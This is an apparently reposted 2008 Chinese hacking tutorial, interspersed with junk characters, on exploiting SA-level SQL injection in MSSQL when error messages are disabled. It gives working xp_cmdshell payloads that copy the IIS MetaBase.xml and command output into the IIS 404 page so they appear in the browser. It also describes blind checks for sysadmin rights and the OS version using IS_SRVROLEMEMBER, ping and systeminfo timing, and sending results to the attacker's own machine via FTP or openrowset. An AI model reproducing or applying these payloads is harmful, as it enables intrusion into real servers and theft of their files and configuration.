遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。, h) j3 Z/ [" F' \1 p
6 u. f* @) f* Y8 U" H9 |
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。: G8 @5 k O( y. `; H( U! G
R; m: `. p1 I* N0 K* q3 v P 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。7 s2 X, N! b( P& ?
+ a; C. @1 W: i4 o7 M IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
6 b0 o8 A1 |0 P, R; q* Y
5 X6 k+ ~0 ^ l6 j 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
5 B- }- J" y2 s" u# s
/ D' i7 c1 g! C$ ?/ w8 | ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。0 o* ^4 K* }9 I9 M+ e: }5 N
8 s q0 h$ ?9 x) S; I3 f+ F, { 执行命令得到回显
: P5 W; r- k% [7 U$ O* s
8 Q5 H* u/ r* I" K- l: ^: h 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--) v& u. Q+ a R* A& D" P
% ~ S2 R x2 c/ ? 得到文件也shi相同,把文件copy到404b.htm就行了
: m; S, w: d) O4 T+ u& i6 [! L7 r; t' z& k W
by 28ice, 2008/6/26
6 C5 z$ z; g$ r8 [ E' @+ k* C1 e7 H3 h( A
摘自 28度的冰
e0 s, b$ f& \
& p/ T' {( |) I# }+ q6 F 盲注判断权限和操作系统版本
+ y2 ]+ J1 Y- f5 W- P& o
8 {+ i% o: }. o% x3 q 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?4 e" j- T. P/ R* j. T; x( W5 N
" }+ Q4 Q* P" z5 @: o# `1 O/ N
最简单的,可能以用这样的方法:
! Z s, V0 ]3 s5 Q G9 `$ ?9 C" s4 e" V7 n6 Y0 }: b5 v) g
1=(select IS_SRVROLEMEMBER(’sysadmin’))7 O9 J8 W/ n7 ^# n* p* h
% N- f" z. U, T; I K/ D 当然,有些情况下,这个方法并不奏效。9 m. a- F; E4 o. @
D$ J, O( Q1 L( h0 P
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。/ V( j j3 r& m- U; j' s7 k3 S
/ d. r( J' S; z9 L' S5 i
有个3办法可能以解决这个问题( t/ Q( k# c ^
) X2 H* }1 b i
a.把执行结果写到404b.htm,具体请看我的上一篇文章
5 V, N2 D+ Y; Z; Q' g9 T( O6 W
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
, x) ^- q3 B. d6 r8 j1 ?* ?2 t6 _
c.如果1433端口可能以连接,那干脆新建个sql登录
! H7 _/ {; A2 z: d# L3 A, F7 d5 {" K% c* T+ r) v2 s. {* ?
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
/ l4 D7 S/ N, d+ v1 d) u7 n
: C! d7 c6 a& N8 b" S: n 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
3 p8 `& b7 L, ^# \" Z& N, W5 L0 J, M% {
很简单
/ E7 ]& ^$ d0 z: O9 ]
" y5 n2 q# G" g) f+ O6 e$ w4 F 执行systeminfo- ?; r$ a6 B* s9 }/ g0 i* `
& j( |1 g# [$ h! w# y( p5 O6 | 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |